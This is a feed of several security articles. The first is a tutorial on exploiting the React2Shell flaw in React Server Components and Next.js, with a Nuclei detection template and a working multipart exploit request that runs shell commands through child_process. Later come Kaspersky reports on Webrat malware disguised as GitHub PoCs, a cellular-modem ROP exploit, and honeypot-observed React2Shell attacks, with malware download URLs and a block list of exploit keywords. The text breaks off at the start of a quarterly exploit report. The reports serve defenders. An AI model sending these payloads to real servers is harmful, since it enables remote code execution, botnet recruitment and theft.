Reading view

There are new articles available, click to refresh the page.

React2Shell Vulnerability Exploited to Build Massive IoT Botnet

Welcome back, aspiring cyberwarriors!

In our industry, we often see serious security flaws that change everything overnight. React2Shell is one of those flaws. On December 3, 2025, security researchers found CVE-2025-55182, a critical bug with a perfect 10.0 severity score that affects React Server Components and Next.js applications. Within hours of going public, hackers started using this bug to break into IoT devices and web servers on a massive scale. By December 8, security teams saw widespread attacks targeting companies across multiple industries, from construction to entertainment.

What makes React2Shell so dangerous is how simple it is to use. Attackers only need to send one malicious HTTP request to take complete control of vulnerable systems. No complicated steps, no extra work required, just one carefully crafted message and the attacker owns the target.

In this article, we’ll explore the roots of React2Shell and how we can exploit this vulnerability in IoT devices.

The Technical Mechanics of React2Shell

React2Shell takes advantage of how React Server Components handle the React Flight protocol. The React Flight protocol is what moves server-side components of the web framework around. You can think of React Flight as the language that React Server Components use to communicate. When we talk about deserialization vulnerabilities like React2Shell, we’re talking about data that’s supposed to be formatted a certain way being misread by the code that receives it. To learn more about deserialization, check our previous article.

Internally, the deserialization payload takes advantage of how React handles Chunks, which are basic building blocks that define what React should render, display, or run. A chunk is basically a building block of a web page – a small piece of data that the server evaluates to render or process the page on the server instead of in the browser. Essentially, all these chunks are put together to build a complete web page with React.

In this vulnerability, the attacker crafts a Chunk that includes a then method. When React Flight sends this data to React Server Components, React treats the value as thenable, something that behaves like a Promise. Promises are essentially a way for code to say it does not have the result of something yet but will run some code and provide the results later. Javascript React’s automatic handling or misinterpretation of these promised values is what this exploit abuses.

Implementation of Chunk.prototype.then from the React source

Chunks are referenced with the dollar at token. The attacker has figured out a way to express state within the request forged to the server. With a status of resolved model, the attacker is tricking React Flight into thinking that it has already fulfilled the data in chunk zero. Essentially, the attacker has forged the lifecycle of the request to be further along than it actually is. Because this is resolved as thenable due to the then method by React Server Components, this leads down a code path which eventually executes malicious code.

When Chunk 1 is evaluated, React observes that this is thenable, meaning it appears as a promise. It will refer to Chunk 0 and then attempt to resolve the forged then method. Since the attacker now controls the then resolution path, React Server Components has been tricked into a codepath which the attacker has ultimate control over. When formData.get is set to a value which resolves to a constructor, React treats that field as a reference to a constructor function that it should hydrate during processing of the blob value. This becomes critical because dollar B values are rehydrated by React, and subsequently it must invoke the constructor.

This makes dollar B the execution pivot. By compelling React to hydrate a Blob-like value, React is forced to execute the constructor that the attacker smuggled into formData.get. Since that constructor resolves to the malicious thenable function, React executes the code as part of its hydration process. Lastly, by defining the prefix primitive, the attacker prepends malicious code into the executable codepath. By appending two forward slashes to the payload, the attacker has told Javascript to treat the rest as a commented block, allowing execution of only the attacker’s code and avoiding syntax errors, quite similar to SQL Injection.

Fire Up the PoC

Before working with the exploit, let’s go to Shodan and see how many active sites on Next.js it has indexed.

As you can see, the query: http.component:“Next.js” 200 country:“ru” returned more than a thousand results. But of course, not all of them are vulnerable. To check, we can use the following template for Nuclei.

id: cve-2025-55182-react2shell

info:
  name: Next.js/React Server Components RCE (React2Shell)
  author: assetnote
  severity: critical
  description: |
    Detects CVE-2025-55182 and CVE-2025-66478, a Remote Code Execution vulnerability in Next.js applications using React Server Components.
    It attempts to execute 'echo $((1337*10001))' on the server. If successful, the server returns a redirect to '/login?a=11111'.
  reference:
    - https://github.com/assetnote/react2shell-scanner
    - https://slcyber.io/research-center/high-fidelity-detection-mechanism-for-rsc-next-js-rce-cve-2025-55182-cve-2025-66478
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id:
      - CVE-2025-55182
      - CVE-2025-66478
  tags: cve, cve2025, nextjs, rce, react

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
        Next-Action: x
        X-Nextjs-Request-Id: b5dce965
        X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad

        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
        Content-Disposition: form-data; name="0"

        {"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('echo $((1337*10001))').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
        Content-Disposition: form-data; name="1"

        "$@0"
        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
        Content-Disposition: form-data; name="2"

        []
        ------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "/login?a=13371337"
          - "X-Action-Redirect"
        condition: and

Next, this command will show whether the web application is vulnerable.

kali> nuclei -silent -u http://<ip>:3000 -t react2shell.yaml

In addition, on Github you can find scanners in different programming languages that do exactly the same thing. Here is an example of a solution from Malayke:

You can create a test environment for this vulnerability with just a few commands:

kali> npx create-next-app@16.0.6 my-cve-2025-66478-app

kali> cd my-cve-2025-66478-app

kali> npm run dev

Commands above create a new Next.js application named my-cve-2025-66478-app using version 16.0.6 of the official setup tool, without installing anything globally. If you open localhost:3000 in your browser, you will see the following.

At this stage, we can proceed to exploit the vulnerability. Open your preferred web app proxy application, such as Burp Suite or ZAP. In this case, I will be using Caido (if you have not used it before, you can familiarize yourself with it in the following articles).

The algorithm is quite simple: we need to catch the request to the site and redirect it to Replay.

After that, we need to change the request from GET to POST and add a payload. The overall request looks like this:

POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

As a result, the id command was executed.

Observed Attack Patterns

Security researchers have identified multiple instances of React2Shell attacks across different systems. The similar patterns observed in these cases reveal how the attacker operates and which tools they use, at least during the early days following the vulnerability’s disclosure.

In the first case, on December 4, 2025, the attacker broke into a vulnerable Next.js system running on Windows and tried to download an unknown file using curl and bash commands. They then tried to download a Linux cryptocurrency miner. About 6 hours later, they tried to download a Linux backdoor. The attackers also ran commands like whoami and echo, which researchers believe was a way to test if commands would run and figure out what operating system was being used.

In the second case, on another Windows computer, the attacker tried to download multiple files from their control servers. Interestingly, the attacker ran the command ver || id, which is a trick to figure out if the system is running Windows or Linux. The ver command shows the Windows version, while id shows user information on Linux. The double pipe operator makes sure the second command only runs if the first one fails, letting the attacker identify the operating system. Like before, the attacker also ran a command to test if their code would run, followed by commands like whoami and hostname to gather user and system information.

In the third case, the attacker followed the same pattern. They first ran commands to test if their code would work and used commands like whoami to gather user information. The attacker then tried to download multiple files from their control servers. The commands follow the same approach: download a shell script, run it with bash, and sometimes delete it to hide evidence.

Unlike the earlier Windows cases, the fourth case targeted a Linux computer running a Next.js application. The attacker successfully broke in and installed an XMRig cryptocurrency miner.

Based on the similar pattern seen across multiple computers, including identical tests and control servers, researchers believe the attacker is likely using automated hacking tools. This is supported by the attempts to use Linux-specific files on Windows computers, showing that the automation doesn’t tell the difference between operating systems. On one of the hacked computers, log analysis showed evidence of automated vulnerability scanning before the attack. The attacker used a publicly available GitHub tool to find vulnerable Next.js systems before launching their attack.

RondoDox Campaign

Security researchers have found a nine-month campaign targeting IoT devices and web applications to build a botnet called RondoDox. This campaign started in early 2025 and has grown through three phases, each one bigger and more advanced than the last.

The first phase ran from March through April 2025 and involved early testing and manual scanning for vulnerabilities. During this time, the attackers were testing their tools and looking for potential targets across the internet. The second phase, from April through June 2025, saw daily mass scanning targeting web applications like WordPress, Drupal, and Struts2, along with IoT devices such as Wavlink routers. The third phase, starting in July and continuing through early December 2025, marked a shift to hourly automated attacks on a large scale, showing the operators had improved their tools and were ready for mass attacks.

When React2Shell was disclosed in December 2025, the RondoDox operators immediately added it to their toolkit alongside other N-day vulnerabilities, including CVE-2023-1389 and CVE-2025-24893. The attacks detected in December follow a consistent pattern. Attackers scan to find vulnerable Next.js servers, then try to install multiple payloads on infected devices. These payloads include cryptocurrency miners, botnet loaders, health checkers, and Mirai botnet variants. The infection chain is designed to stay on systems and resist removal attempts.

A large portion of the attack traffic comes from a datacenter in Poland, with one IP address alone responsible for more than 12,000 React2Shell-related events, along with port scanning and attempts to exploit known Hikvision vulnerabilities. This behavior matches patterns seen in Mirai-derived botnets, where compromised infrastructure is used both for scanning and for launching multi-vector attacks. Additional scanning comes from the United States, the Netherlands, Ireland, France, Hong Kong, Singapore, China, Panama, and other regions, showing broad global participation in opportunistic attacks.

Mitigation

CVE-2025-55182 exists in several versions including version 19.0, 19.1.0, 19.1.1, and 19.2.0 of the following packages: react-server-dom-webpack, react-server-dom-parcel, and react-server-dom-turbopack. Businesses relying on any of these impacted packages should update immediately.

Summary

Cyberwarriors need to make sure their systems are safe from new threats. The React2Shell vulnerability is a serious risk for organizations using React Server Components and Next.js applications. Hackers can exploit this vulnerability to steal personal data, corporate data, and attack critical infrastructure by installing malware. This vulnerability is easy to exploit, and many organizations use the affected software, which has made it popular with botnet operators who’ve quickly added React2Shell to their attack tools. Organizations need to patch right away, use multiple layers of defense, and watch their systems closely to protect against this threat. A vulnerability like React2Shell can take down entire networks if even one application is exposed.

From cheats to exploits: Webrat spreading via GitHub

In early 2025, security researchers uncovered a new malware family named Webrat. Initially, the Trojan targeted regular users by disguising itself as cheats for popular games like Rust, Counter-Strike, and Roblox, or as cracked software. In September, the attackers decided to widen their net: alongside gamers and users of pirated software, they are now targeting inexperienced professionals and students in the information security field.

Distribution and the malicious sample

In October, we uncovered a campaign that had been distributing Webrat via GitHub repositories since at least September. To lure in victims, the attackers leveraged vulnerabilities frequently mentioned in security advisories and industry news. Specifically, they disguised their malware as exploits for the following vulnerabilities with high CVSSv3 scores:

CVE CVSSv3
CVE-2025-59295 8.8
CVE-2025-10294 9.8
CVE-2025-59230 7.8

This is not the first time threat actors have tried to lure security researchers with exploits. Last year, they similarly took advantage of the high-profile RegreSSHion vulnerability, which lacked a working PoC at the time.

In the Webrat campaign, the attackers bait their traps with both vulnerabilities lacking a working exploit and those which already have one. To build trust, they carefully prepared the repositories, incorporating detailed vulnerability information into the descriptions. The information is presented in the form of structured sections, which include:

  • Overview with general information about the vulnerability and its potential consequences
  • Specifications of systems susceptible to the exploit
  • Guide for downloading and installing the exploit
  • Guide for using the exploit
  • Steps to mitigate the risks associated with the vulnerability
Contents of the repository

Contents of the repository

In all the repositories we investigated, the descriptions share a similar structure, characteristic of AI-generated vulnerability reports, and offer nearly identical risk mitigation advice, with only minor variations in wording. This strongly suggests that the text was machine-generated.

The Download Exploit ZIP link in the Download & Install section leads to a password-protected archive hosted in the same repository. The password is hidden within the name of a file inside the archive.

The archive downloaded from the repository includes four files:

  1. pass – 8511: an empty file, whose name contains the password for the archive.
  2. payload.dll: a decoy, which is a corrupted PE file. It contains no useful information and performs no actions, serving only to divert attention from the primary malicious file.
  3. rasmanesc.exe (note: file names may vary): the primary malicious file (MD5 61b1fc6ab327e6d3ff5fd3e82b430315), which performs the following actions:
    • Escalate its privileges to the administrator level (T1134.002).
    • Disable Windows Defender (T1562.001) to avoid detection.
    • Fetch from a hardcoded URL (ezc5510min.temp[.]swtest[.]ru in our example) a sample of the Webrat family and execute it (T1608.001).
  4. start_exp.bat: a file containing a single command: start rasmanesc.exe, which further increases the likelihood of the user executing the primary malicious file.
The execution flow and capabilities of rasmanesc.exe

The execution flow and capabilities of rasmanesc.exe

Webrat is a backdoor that allows the attackers to control the infected system. Furthermore, it can steal data from cryptocurrency wallets, Telegram, Discord and Steam accounts, while also performing spyware functions such as screen recording, surveillance via a webcam and microphone, and keylogging. The version of Webrat discovered in this campaign is no different from those documented previously.

Campaign objectives

Previously, Webrat spread alongside game cheats, software cracks, and patches for legitimate applications. In this campaign, however, the Trojan disguises itself as exploits and PoCs. This suggests that the threat actor is attempting to infect information security specialists and other users interested in this topic. It bears mentioning that any competent security professional analyzes exploits and other malware within a controlled, isolated environment, which has no access to sensitive data, physical webcams, or microphones. Furthermore, an experienced researcher would easily recognize Webrat, as it’s well-documented and the current version is no different from previous ones. Therefore, we believe the bait is aimed at students and inexperienced security professionals.

Conclusion

The threat actor behind Webrat is now disguising the backdoor not only as game cheats and cracked software, but also as exploits and PoCs. This indicates they are targeting researchers who frequently rely on open sources to find and analyze code related to new vulnerabilities.

However, Webrat itself has not changed significantly from past campaigns. These attacks clearly target users who would run the “exploit” directly on their machines — bypassing basic safety protocols. This serves as a reminder that cybersecurity professionals, especially inexperienced researchers and students, must remain vigilant when handling exploits and any potentially malicious files. To prevent potential damage to work and personal devices containing sensitive information, we recommend analyzing these exploits and files within isolated environments like virtual machines or sandboxes.

We also recommend exercising general caution when working with code from open sources, always using reliable security solutions, and never adding software to exclusions without a justified reason.

Kaspersky solutions effectively detect this threat with the following verdicts:

  • HEUR:Trojan.Python.Agent.gen
  • HEUR:Trojan-PSW.Win64.Agent.gen
  • HEUR:Trojan-Banker.Win32.Agent.gen
  • HEUR:Trojan-PSW.Win32.Coins.gen
  • HEUR:Trojan-Downloader.Win32.Agent.gen
  • PDM:Trojan.Win32.Generic

Indicators of compromise

Malicious GitHub repositories
https://github[.]com/RedFoxNxploits/CVE-2025-10294-Poc
https://github[.]com/FixingPhantom/CVE-2025-10294
https://github[.]com/h4xnz/CVE-2025-10294-POC
https://github[.]com/usjnx72726w/CVE-2025-59295/tree/main
https://github[.]com/stalker110119/CVE-2025-59230/tree/main
https://github[.]com/moegameka/CVE-2025-59230
https://github[.]com/DebugFrag/CVE-2025-12596-Exploit
https://github[.]com/themaxlpalfaboy/CVE-2025-54897-LAB
https://github[.]com/DExplo1ted/CVE-2025-54106-POC
https://github[.]com/h4xnz/CVE-2025-55234-POC
https://github[.]com/Hazelooks/CVE-2025-11499-Exploit
https://github[.]com/usjnx72726w/CVE-2025-11499-LAB
https://github[.]com/modhopmarrow1973/CVE-2025-11833-LAB
https://github[.]com/rootreapers/CVE-2025-11499
https://github[.]com/lagerhaker539/CVE-2025-12595-POC

Webrat C2
http://ezc5510min[.]temp[.]swtest[.]ru
http://shopsleta[.]ru

MD5
28a741e9fcd57bd607255d3a4690c82f
a13c3d863e8e2bd7596bac5d41581f6a
61b1fc6ab327e6d3ff5fd3e82b430315

God Mode On: how we attacked a vehicle’s head unit modem

Introduction

Imagine you’re cruising down the highway in your brand-new electric car. All of a sudden, the massive multimedia display fills with Doom, the iconic 3D shooter game. It completely replaces the navigation map or the controls menu, and you realize someone is playing it remotely right now. This is not a dream or an overactive imagination – we’ve demonstrated that it’s a perfectly realistic scenario in today’s world.

The internet of things now plays a significant role in the modern world. Not only are smartphones and laptops connected to the network, but also factories, cars, trains, and even airplanes. Most of the time, connectivity is provided via 3G/4G/5G mobile data networks using modems installed in these vehicles and devices. These modems are increasingly integrated into a System-on-Chip (SoC), which uses a Communication Processor (CP) and an Application Processor (AP) to perform multiple functions simultaneously. A general-purpose operating system such as Android can run on the AP, while the CP, which handles communication with the mobile network, typically runs on a dedicated OS. The interaction between the AP, CP, and RAM within the SoC at the microarchitecture level is a “black box” known only to the manufacturer – even though the security of the entire SoC depends on it.

Bypassing 3G/LTE security mechanisms is generally considered a purely academic challenge because a secure communication channel is established when a user device (User Equipment, UE) connects to a cellular base station (Evolved Node B, eNB). Even if someone can bypass its security mechanisms, discover a vulnerability in the modem, and execute their own code on it, this is unlikely to compromise the device’s business logic. This logic (for example, user applications, browser history, calls, and SMS on a smartphone) resides on the AP and is presumably not accessible from the modem.

To find out, if that is true, we conducted a security assessment of a modern SoC, Unisoc UIS7862A, which features an integrated 2G/3G/4G modem. This SoC can be found in various mobile devices by multiple vendors or, more interestingly, in the head units of modern Chinese vehicles, which are becoming increasingly common on the roads. The head unit is one of a car’s key components, and a breach of its information security poses a threat to road safety, as well as the confidentiality of user data.

During our research, we identified several critical vulnerabilities at various levels of the Unisoc UIS7862A modem’s cellular protocol stack. This article discusses a stack-based buffer overflow vulnerability in the 3G RLC protocol implementation (CVE-2024-39432). The vulnerability can be exploited to achieve remote code execution at the early stages of connection, before any protection mechanisms are activated.

Importantly, gaining the ability to execute code on the modem is only the entry point for a complete remote compromise of the entire SoC. Our subsequent efforts were focused on gaining access to the AP. We discovered several ways to do so, including leveraging a hardware vulnerability in the form of a hidden peripheral Direct Memory Access (DMA) device to perform lateral movement within the SoC. This enabled us to install our own patch into the running Android kernel and execute arbitrary code on the AP with the highest privileges. Details are provided in the relevant sections.

Acquiring the modem firmware

The modem at the center of our research was found on the circuit board of the head unit in a Chinese car.

Circuit board of the head unit

Circuit board of the head unit

Description of the circuit board components:

Number in the board photo Component
1 Realtek RTL8761ATV 802.11b/g/n 2.4G controller with wireless LAN (WLAN) and USB interfaces (USB 1.0/1.1/2.0 standards)
2 SPRD UMW2652 BGA WiFi chip
3 55966 TYADZ 21086 chip
4 SPRD SR3595D (Unisoc) radio frequency transceiver
5 Techpoint TP9950 video decoder
6 UNISOC UIS7862A
7 BIWIN BWSRGX32H2A-48G-X internal storage, Package200-FBGA, ROM Type – Discrete, ROM Size – LPDDR4X, 48G
8 SCY E128CYNT2ABE00 EMMC 128G/JEDEC memory card
9 SPREADTRUM UMP510G5 power controller
10 FEI.1s LE330315 USB2.0 shunt chip
11 SCT2432STER synchronous step-down DC-DC converter with internal compensation

Using information about the modem’s hardware, we desoldered and read the embedded multimedia memory card, which contained a complete image of its operating system. We then analyzed the image obtained.

Remote access to the modem (CVE-2024-39431)

The modem under investigation, like any modern modem, implements several protocol stacks: 2G, 3G, and LTE. Clearly, the more protocols a device supports, the more potential entry points (attack vectors) it has. Moreover, the lower in the OSI network model stack a vulnerability sits, the more severe the consequences of its exploitation can be. Therefore, we decided to analyze the data packet fragmentation mechanisms at the data link layer (RLC protocol).

We focused on this protocol because it is used to establish a secure encrypted data transmission channel between the base station and the modem, and, in particular, it is used to transmit higher-layer NAS (Non-Access Stratum) protocol data. NAS represents the functional level of the 3G/UMTS protocol stack. Located between the user equipment (UE) and core network, it is responsible for signaling between them. This means that a remote code execution (RCE) vulnerability in RLC would allow an attacker to execute their own code on the modem, bypassing all existing 3G communication protection mechanisms.

3G protocol stack

3G protocol stack

The RLC protocol uses three different transmission modes: Transparent Mode (TM), Unacknowledged Mode (UM), and Acknowledged Mode (AM). We are only interested in UM, because in this mode the 3G standard allows both the segmentation of data and the concatenation of several small higher-layer data fragments (Protocol Data Units, PDU) into a single data link layer frame. This is done to maximize channel utilization. At the RLC level, packets are referred to as Service Data Units (SDU).

Among the approximately 75,000 different functions in the firmware, we found the function for handling an incoming SDU packet. When handling a received SDU packet, its header fields are parsed. The packet itself consists of a mandatory header, optional headers, and data. The number of optional headers is not limited. The end of the optional headers is indicated by the least significant bit (E bit) being equal to 0. The algorithm processes each header field sequentially, while their E-bits equal 1. During processing, data is written to a variable located on the stack of the calling function. The stack depth is 0xB4 bytes. The size of the packet that can be parsed (i.e., the number of headers, each header being a 2-byte entry on the stack) is limited by the SDU packet size of 0x5F0 bytes.

As a result, exploitation can be achieved using just one packet in which the number of headers exceeds the stack depth (90 headers). It is important to note that this particular function lacks a stack canary, and when the stack overflows, it is possible to overwrite the return address and some non-volatile register values in this function. However, overwriting is only possible with a value ending in one in binary (i.e., a value in which the least significant bit equals 1). Notably, execution takes place on ARM in Thumb mode, so all return addresses must have the least significant bit equal to 1. Coincidence? Perhaps.

In any case, sending the very first dummy SDU packet with the appropriate number of “correct” headers caused the device to reboot. However, at that moment, we had no way to obtain information on where and why the crash occurred (although we suspect the cause was an attempt to transfer control to the address 0xAABBCCDD, taken from our packet).

Gaining persistence in the system

The first and most important observation is that we know the pointer to the newly received SDU packet is stored in register R2. Return Oriented Programming (ROP) techniques can be used to execute our own code, but first we need to make sure it is actually possible.

We utilized the available AT command handler to move the data to RAM areas. Among the available AT commands, we found a suitable function – SPSERVICETYPE.

Next, we used ROP gadgets to overwrite the address 0x8CE56218 without disrupting the subsequent operation of the incoming SDU packet handling algorithm. To achieve this, it was sufficient to return to the function from which the SDU packet handler was called, because it was invoked as a callback, meaning there is no data linkage on the stack. Given that this function only added 0x2C bytes to the stack, we needed to fit within this size.

Stack overflow in the context of the operating system

Stack overflow in the context of the operating system

Having found a suitable ROP chain, we launched an SDU packet containing it as a payload. As a result, we saw the output 0xAABBCCDD in the AT command console for SPSERVICETYPE. Our code worked!

Next, by analogy, we input the address of the stack frame where our data was located, but it turned out not to be executable. We then faced the task of figuring out the MPU settings on the modem. Once again, using the ROP chain method, we generated code that read the MPU table, one DWORD at a time. After many iterations, we obtained the following table.

The table shows what we suspected – the code section is only mapped for execution. An attempt to change the configuration resulted in another ROP chain, but this same section was now mapped with write permissions in an unused slot in the table. Because of MPU programming features, specifically the presence of the overlap mechanism and the fact that a region with a higher ID has higher priority, we were able to write to this section.

All that remained was to use the pointer to our data (still stored in R2) and patch the code section that had just been unlocked for writing. The question was what exactly to patch. The simplest method was to patch the NAS protocol handler by adding our code to it. To do this, we used one of the NAS protocol commands – MM information. This allowed us to send a large amount of data at once and, in response, receive a single byte of data using the MM status command, which confirmed the patching success.

As a result, we not only successfully executed our own code on the modem side but also established full two-way communication with the modem, using the high-level NAS protocol as a means of message delivery. In this case, it was an MM Status packet with the cause field equaling 0xAA.

However, being able to execute our own code on the modem does not give us access to user data. Or does it?

The full version of the article with a detailed description of the development of an AR exploit that led to Doom being run on the head unit is available on ICS CERT website.

It didn’t take long: CVE-2025-55182 is now under active exploitation

On December 4, 2025, researchers published details on the critical vulnerability CVE-2025-55182, which received a CVSS score of 10.0. It has been unofficially dubbed React2Shell, as it affects React Server Components (RSC) functionality used in web applications built with the React library. RSC speeds up UI rendering by distributing tasks between the client and the server. The flaw is categorized as CWE-502 (Deserialization of Untrusted Data). It allows an attacker to execute commands, as well as read and write files in directories accessible to the web application, with the server process privileges.

Almost immediately after the exploit was published, our honeypots began registering attempts to leverage CVE-2025-55182. This post analyzes the attack patterns, the malware that threat actors are attempting to deliver to vulnerable devices, and shares recommendations for risk mitigation.

A brief technical analysis of the vulnerability

React applications are built on a component-based model. This means each part of the application or framework should operate independently and offer other components clear, simple methods for interaction. While this approach allows for flexible development and feature addition, it can require users to download large amounts of data, leading to inconsistent performance across devices. This is the challenge React Server Components were designed to address.

The vulnerability was found within the Server Actions component of RSC. To reach the vulnerable function, the attacker just needs to send a POST request to the server containing a serialized data payload for execution. Part of the functionality of the handler that allows for unsafe deserialization is illustrated below:

A comparison of the vulnerable (left) and patched (right) functions

A comparison of the vulnerable (left) and patched (right) functions

CVE-2025-55182 on Kaspersky honeypots

As the vulnerability is rather simple to exploit, the attackers quickly added it to their arsenal. The initial exploitation attempts were registered by Kaspersky honeypots on December 5. By Monday, December 8, the number of attempts had increased significantly and continues to rise.

The number of CVE-2025-55182 attacks targeting Kaspersky honeypots, by day (download)

Attackers first probe their target to ensure it is not a honeypot: they run whoami, perform multiplication in bash, or compute MD5 or Base64 hashes of random strings to verify their code can execute on the targeted machine.

In most cases, they then attempt to download malicious files using command-line web clients like wget or curl. Additionally, some attackers deliver a PowerShell-based Windows payload that installs XMRig, a popular Monero crypto miner.

CVE-2025-55182 was quickly weaponized by numerous malware campaigns, ranging from classic Mirai/Gafgyt variants to crypto miners and the RondoDox botnet. Upon infecting a system, RondoDox wastes no time, its loader script immediately moving to eliminate competitors:

Beyond checking hardcoded paths, RondoDox also neutralizes AppArmor and SELinux security modules and employs more sophisticated methods to find and terminate processes with ELF files removed for disguise.

Only after completing these steps does the script download and execute the main payload by sequentially trying three different loaders: wget, curl, and wget from BusyBox. It also iterates through 18 different malware builds for various CPU architectures, enabling it to infect both IoT devices and standard x86_64 Linux servers.

In some attacks, instead of deploying malware, the adversary attempted to steal credentials for Git and cloud environments. A successful breach could lead to cloud infrastructure compromise, software supply chain attacks, and other severe consequences.

Risk mitigation measures

We strongly recommend updating the relevant packages by applying patches released by the developers of the corresponding modules and bundles.
Vulnerable versions of React Server Components:

  • react-server-dom-webpack (19.0.0, 19.1.0, 19.1.1, 19.2.0)
  • react-server-dom-parcel (19.0.0, 19.1.0, 19.1.1, 19.2.0)
  • react-server-dom-turbopack (19.0.0, 19.1.0, 19.1.1, 19.2.0)

Bundles and modules confirmed as using React Server Components:

  • next
  • react-router
  • waku
  • @parcel/rsc
  • @vitejs/plugin-rsc
  • rwsdk

To prevent exploitation while patches are being deployed, consider blocking all POST requests containing the following keywords in parameters or the request body:

  • #constructor
  • #__proto__
  • #prototype
  • vm#runInThisContext
  • vm#runInNewContext
  • child_process#execSync
  • child_process#execFileSync
  • child_process#spawnSync
  • module#_load
  • module#createRequire
  • fs#readFileSync
  • fs#writeFileSync
  • s#appendFileSync

Conclusion

Due to the ease of exploitation and the public availability of a working PoC, threat actors have rapidly adopted CVE-2025-55182. It is highly likely that attacks will continue to grow in the near term.

We recommend immediately updating React to the latest patched version, scanning vulnerable hosts for signs of malware, and changing any credentials stored on them.

Indicators of compromise

Malware URLs
hxxp://172.237.55.180/b
hxxp://172.237.55.180/c
hxxp://176.117.107.154/bot
hxxp://193.34.213.150/nuts/bolts
hxxp://193.34.213.150/nuts/x86
hxxp://23.132.164.54/bot
hxxp://31.56.27.76/n2/x86
hxxp://31.56.27.97/scripts/4thepool_miner[.]sh
hxxp://41.231.37.153/rondo[.]aqu[.]sh
hxxp://41.231.37.153/rondo[.]arc700
hxxp://41.231.37.153/rondo[.]armeb
hxxp://41.231.37.153/rondo[.]armebhf
hxxp://41.231.37.153/rondo[.]armv4l
hxxp://41.231.37.153/rondo[.]armv5l
hxxp://41.231.37.153/rondo[.]armv6l
hxxp://41.231.37.153/rondo[.]armv7l
hxxp://41.231.37.153/rondo[.]i486
hxxp://41.231.37.153/rondo[.]i586
hxxp://41.231.37.153/rondo[.]i686
hxxp://41.231.37.153/rondo[.]m68k
hxxp://41.231.37.153/rondo[.]mips
hxxp://41.231.37.153/rondo[.]mipsel
hxxp://41.231.37.153/rondo[.]powerpc
hxxp://41.231.37.153/rondo[.]powerpc-440fp
hxxp://41.231.37.153/rondo[.]sh4
hxxp://41.231.37.153/rondo[.]sparc
hxxp://41.231.37.153/rondo[.]x86_64
hxxp://51.81.104.115/nuts/bolts
hxxp://51.81.104.115/nuts/x86
hxxp://51.91.77.94:13339/termite/51.91.77.94:13337
hxxp://59.7.217.245:7070/app2
hxxp://59.7.217.245:7070/c[.]sh
hxxp://68.142.129.4:8277/download/c[.]sh
hxxp://89.144.31.18/nuts/bolts
hxxp://89.144.31.18/nuts/x86
hxxp://gfxnick.emerald.usbx[.]me/bot
hxxp://meomeoli.mooo[.]com:8820/CLoadPXP/lix.exe?pass=PXPa9682775lckbitXPRopGIXPIL
hxxps://api.hellknight[.]xyz/js
hxxps://gist.githubusercontent[.]com/demonic-agents/39e943f4de855e2aef12f34324cbf150/raw/e767e1cef1c35738689ba4df9c6f7f29a6afba1a/setup_c3pool_miner[.]sh

MD5 hashes
0450fe19cfb91660e9874c0ce7a121e0
3ba4d5e0cf0557f03ee5a97a2de56511
622f904bb82c8118da2966a957526a2b
791f123b3aaff1b92873bd4b7a969387
c6381ebf8f0349b8d47c5e623bbcef6b
e82057e481a2d07b177d9d94463a7441

Exploits and vulnerabilities in Q3 2025

In the third quarter, attackers continued to exploit security flaws in WinRAR, while the total number of registered vulnerabilities grew again. In this report, we examine statistics on published vulnerabilities and exploits, the most common security issues impacting Windows and Linux, and the vulnerabilities being leveraged in APT attacks that lead to the launch of widespread C2 frameworks. The report utilizes anonymized Kaspersky Security Network data, which was consensually provided by our users, as well as information from open sources.

Statistics on registered vulnerabilities

This section contains statistics on registered vulnerabilities. The data is taken from cve.org.

Let us consider the number of registered CVEs by month for the last five years up to and including the third quarter of 2025.

Total published vulnerabilities by month from 2021 through 2025 (download)

As can be seen from the chart, the monthly number of vulnerabilities published in the third quarter of 2025 remains above the figures recorded in previous years. The three-month total saw over 1000 more published vulnerabilities year over year. The end of the quarter sets a rising trend in the number of registered CVEs, and we anticipate this growth to continue into the fourth quarter. Still, the overall number of published vulnerabilities is likely to drop slightly relative to the September figure by year-end

A look at the monthly distribution of vulnerabilities rated as critical upon registration (CVSS > 8.9) suggests that this metric was marginally lower in the third quarter than the 2024 figure.

Total number of critical vulnerabilities published each month from 2021 to 2025 (download)

Exploitation statistics

This section contains exploitation statistics for Q3 2025. The data draws on open sources and our telemetry.

Windows and Linux vulnerability exploitation

